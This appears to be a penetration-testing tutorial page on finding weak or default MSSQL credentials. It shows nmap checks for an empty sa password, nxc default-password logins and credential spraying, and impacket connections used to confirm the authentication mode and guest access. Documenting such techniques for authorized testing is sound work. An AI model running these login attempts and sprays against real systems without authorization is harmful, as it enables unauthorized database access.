Skip to content
HackIndex logo

HackIndex

MSSQL Weak Credentials and Default SA Login

3 min read Mar 26, 2026

SQL Server installations frequently retain the sa account with a weak or empty password, especially on internal networks and legacy deployments. SQL authentication is often enabled alongside Windows authentication without administrators realising it. Confirming weak credentials is the first decision point after enumeration — valid SQL auth opens the full exploitation path via xp_cmdshell and impersonation regardless of Windows permissions.

Empty SA Password Check

The ms-sql-empty-password NSE script tests sa with a blank password without requiring credentials. Run this before attempting any manual checks:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script ms-sql-empty-password $TARGET_IP
PORT     STATE SERVICE
1433/tcp open  ms-sql-s
| ms-sql-empty-password:
|   [1433] -> sa:<empty>
|_  Instance: MSSQLSERVER

Any positive result here is a direct path to sysadmin-level SQL access. Move immediately to exploitation. If this returns nothing, the sa account either has a password set or SQL authentication is disabled — both worth testing separately.

Common Default Credentials

Beyond empty sa, test common default credential pairs with nxc. SQL Server Express installs, third-party applications with embedded SQL instances, and developer environments often retain these:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u sa -p ''
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u sa -p sa
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u sa -p Password1
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u sa -p administrator

nxc marks successful logins with a green [+] and failed attempts with [-]. A successful sa login confirms SQL authentication is enabled and the account is active. Even a non-sysadmin SQL login is useful — check its privileges before dismissing it.

Spray a Credential List

If you have a username or password list from earlier enumeration, spray it against MSSQL. Keep the list short and targeted to avoid account lockout — SQL Server does not enforce lockout by default but some environments configure it:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u users.txt -p passwords.txt --no-bruteforce
┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -d $DOMAIN -u users.txt -p passwords.txt --no-bruteforce

The --no-bruteforce flag pairs each username with the corresponding password in the list rather than trying every combination. Use this when you have matched credential pairs from credential dumps or OSINT.

Confirm SQL Authentication is Enabled

Some SQL Server instances accept only Windows authentication and reject SQL logins entirely. Confirm which mode is active by checking the login error response. An explicit login failure message means SQL auth is enabled but the credentials are wrong. A protocol-level rejection means only Windows auth is accepted:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient sa:wrongpassword@$TARGET_IP 2>&1
ERROR: Login failed for user 'sa'

Login failed for user sa means SQL authentication is active and the account exists. This response alone confirms the attack surface. If you receive a Windows authentication error instead, switch to domain credentials with the -windows-auth flag.

Test Guest and Public Access

The guest account in SQL Server is disabled by default but can be enabled per database. Connect with valid Windows credentials and check whether guest is enabled in any database:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient $DOMAIN/$USER:$PASSWORD@$TARGET_IP -windows-auth

Once connected, check for enabled guest accounts across all databases:

mysql> SELECT name FROM sys.databases WHERE HAS_DBACCESS(name) = 1;
mysql> SELECT dp.name, dp.type_desc, dp.is_disabled FROM sys.database_principals dp WHERE dp.name = 'guest' AND dp.is_disabled = 0;

An enabled guest account in a sensitive database means any authenticated Windows user can read that database without an explicit SQL login. This enables data access through lateral movement paths that do not require SQL credentials at all.

References